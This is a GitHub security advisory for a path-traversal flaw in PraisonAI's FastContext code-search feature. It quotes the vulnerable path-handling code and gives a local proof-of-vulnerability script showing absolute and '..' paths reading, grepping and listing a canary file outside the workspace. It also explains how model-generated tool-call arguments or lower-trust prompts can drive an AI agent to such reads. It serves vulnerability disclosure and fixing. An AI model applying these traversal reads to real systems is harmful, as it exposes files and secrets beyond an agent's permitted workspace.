GitHub Advisoryadvisory · PyPI
GHSA-4xxv-6wmf-xf45 PraisonAI: FastContext path resolution permits absolute and traversal reads outside the workspace
MEDIUM
Official page ↗
- Aliases
- CVE-2026-61432
- Ecosystem
- PyPI
- Packages
- praisonaiagents
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N
- Weaknesses
- CWE-200, CWE-22
- Reviewed
- 2026-10-08
Affected packages
• PyPI praisonaiagents: < 1.6.78 → fixed in 1.6.78
Description
FastContext path resolution permits absolute and traversal reads outside the workspace
Summary
PraisonAI's `praisonaiagents.context.fast` FastContext feature treats `workspace_path` as the root directory for code search, but its model-facing search tools and high-level `read_context()` helper accept absolute paths and `..` traversal paths without checking that the resolved path remains under that workspace. A lower-trust prompt or caller that can influence FastContext tool arguments can read, search, and enumerate files outside the intended project workspace; the resulting file content is then returned to the caller or injected into the model's tool-result context.
Technical Details
`FastContextAgent` documents `workspace_path` as the "Root directory for searches" and stores it as an absolute path:
```python
class FastContextAgent:
"""Specialized agent for fast parallel code search.
Attributes:
workspace_path: Root directory for searches
"""
def __init__(self, workspace_path: str, ...):
self.workspace_path = os.path.abspath(workspace_path)
```
The same class exposes `grep_search`, `glob_search`, `read_file`, and `list_directory` as model function-call tools via `get_tools()`. Those tools are intended to retrieve code context from the configured workspace.
The problem is in `FastContextAgent.execute_tool()`. It prepends `workspace_path` only when the caller supplies a relative path, but it does not reject absolute paths and does not canonicalize the joined relative path before enforcing containment:
```python
if tool_name in ("grep_search", "glob_search"):
if "search_path" not in kwargs or kwargs["search_path"] == ".":
kwargs["search_path"] = self.workspace_path
elif not os.path.isabs(kwargs["search_path"]):
kwargs["search_path"] = os.path.join(self.workspace_path, kwargs["search_path"])
elif tool_name == "list_directory":
if "dir_path" not in kwargs or kwargs["dir_path"] == ".":
kwargs["dir_path"] = self.workspace_path
elif not os.path.isabs(kwargs["dir_path"]):
kwargs["dir_path"] = os.path.join(self.workspace_path, kwargs["dir_path"])
elif tool_name == "read_file":
if "filepath" in kwargs and not os.path.isabs(kwargs["filepath"]):
kwargs["filepath"] = os.path.join(self.workspace_path, kwargs["filepath"])
```
As a result, an absolute path passes through unchanged, and a relative traversal such as `../outside-secret.txt` is transformed into `/../outside-secret.txt`. The downstream search tools then call `os.path.abspath()` and operate on the resolved outside path.
The downstream tools do not enforce a FastContext workspace boundary:
```python
def grep_search(search_path: str, pattern: str, ...):
search_path = os.path.abspath(search_path)
...
with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
lines = f.readlines()
```
```python
def read_file(filepath: str, ...):
filepath = os.path.abspath(filepath)
...
with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
lines = f.readlines()
```
```python
def list_directory(dir_path: str, ...):
dir_path = os.path.abspath(dir_path)
...
for entry in os.scandir(path):
...
```
The model-backed `FastContextAgent.search()` path is also affected. It sends the FastContext tools to the model, parses model-supplied tool-call JSON, and adds those arguments to a `ToolCallBatch`:
```python
response = model_client.chat.completions.create(
model=self.model,
messages=messages,
tools=[{"type": "function", "function": t} for t in self.get_tools()],
tool_choice="auto"
)
...
args = json.loads(tool_call.function.arguments)
batch.add(tool_call.function.name, **args)
...
tool_results = self.coordinator.execute_turn_sync(batch)
```
That path bypasses `execute_tool()`'s incomplete workspace-prefixing entirely and sends model-generated paths directly to the raw filesystem search functions through `ParallelSearchCoordinator`.
The public high-level API has the same containment gap. `FastContext.read_context()` documents `filepath` as "relative to workspace", joins relative paths with `workspace_path`, and then calls `read_file()` without a resolved-path containment check:
```python
def read_context(self, filepath: str, ...):
full_path = filepath
if not os.path.isabs(filepath):
full_path = os.path.join(self.workspace_path, filepath)
result = read_file(full_path, ...)
```
This behavior is not required for intended FastContext code search. A normal search through `search_simple()` searches only `self.workspace_path`; the PoV below uses that as the negative control. The vulnerability is that caller/model-controlled path parameters can escape that intended root.
PoV
The following local PoV creates a workspace with one harmless file and an adjacent outside file containing a canary. It then proves that ordinary workspace search does not find the canary, while FastContext path arguments can read, grep, glob, list, and return that outside canary through workspace-scoped APIs. The source-to-sink details above show the same missing containment also affects the model-backed `FastContextAgent.search()` path because it dispatches model-generated path arguments to the same raw search functions.
```python
from pathlib import Path
from tempfile import TemporaryDirectory
from praisonaiagents.context.fast import FastContext
from praisonaiagents.context.fast.fast_context_agent import FastContextAgent
CANARY = "FAST_CONTEXT_CANARY=outside-workspace"
with TemporaryDirectory() as tmp:
root = Path(tmp) / "workspace"
root.mkdir()
(root / "inside.txt").write_text("INSIDE_ONLY=workspace\n")
outside = Path(tmp) / "outside-secret.txt"
outside.write_text(CANARY + "\n")
agent = FastContextAgent(str(root))
assert len(agent.search_simple(CANARY).files) == 0
assert "INSIDE_ONLY=workspace" in agent.execute_tool("read_file", filepath="inside.txt")["content"]
assert CANARY in agent.execute_tool("read_file", filepath="../outside-secret.txt")["content"]
assert CANARY in agent.execute_tool("read_file", filepath=str(outside))["content"]
assert any(CANARY in match["content"] for match in agent.execute_tool("grep_search", search_path="..", pattern=CANARY))
assert any(match["path"] == "outside-secret.txt" for match in agent.execute_tool("glob_search", search_path="..", pattern="*.txt"))
assert any(entry["name"] == "outside-secret.txt" for entry in agent.execute_tool("list_directory", dir_path="..")["entries"])
fc = FastContext(workspace_path=str(root), cache_enabled=False)
assert CANARY in fc.read_context("../outside-secret.txt")
```
PoC
Save the self-contained script from the Appendix below as `fastcontext_workspace_pov.py`, then run it against a local checkout:
```bash
export PRAISONAI=/path/to/PraisonAI
PYTHONPATH="$PRAISONAI/src/praisonai-agents" python fastcontext_workspace_pov.py
```
Expected vulnerable output:
```json
{
"results": {
"absolute_read_discloses_canary": true,
"glob_parent_reveals_outside_file": true,
"grep_parent_discloses_canary": true,
"high_level_read_context_discloses_canary": true,
"inside_read_still_works": true,
"list_parent_reveals_outside_file": true,
"relative_traversal_read_discloses_canary": true,
"simple_search_does_not_find_outside_canary": true
},
"vulnerable": true
}
```
The version sweep sampled the FastContext introduction boundary and current releases:
```text
PraisonAI FastContext workspace-boundary version sweep
current_main: 1620b49f36945d8cc8ee5635b906c960df5097a0
latest_tag_context: v4.6.63-2-g1620b49f
v2.3.9 praisonaiagents=0.0.188 missing fast_context_agent.py
v2.3.10 praisonaiagents=0.0.189 missing fast_context_agent.py
{"ref": "v2.3.11", "praisonaiagents_version": "0.0.190", "status": "vulnerable", "relative_traversal_read": true, "absolute_read": true, "grep_parent_read": true, "fa…
Related
Alias · CVE (1)
- CVE-2026-61432 PraisonAI (praisonaiagents) before 1.6.78 contains a path traversal vulnerability in the FastContext feature (praisonaiagents.context.fast). vulnerability
References
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4xxv-6wmf-xf45 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-61432 advisory
- https://github.com/MervinPraison/PraisonAI/commit/1620b49f36945d8cc8ee5635b906c960df5097a0 web
- https://github.com/MervinPraison/PraisonAI package
- https://www.vulncheck.com/advisories/praisonai-fastcontext-before-path-traversal web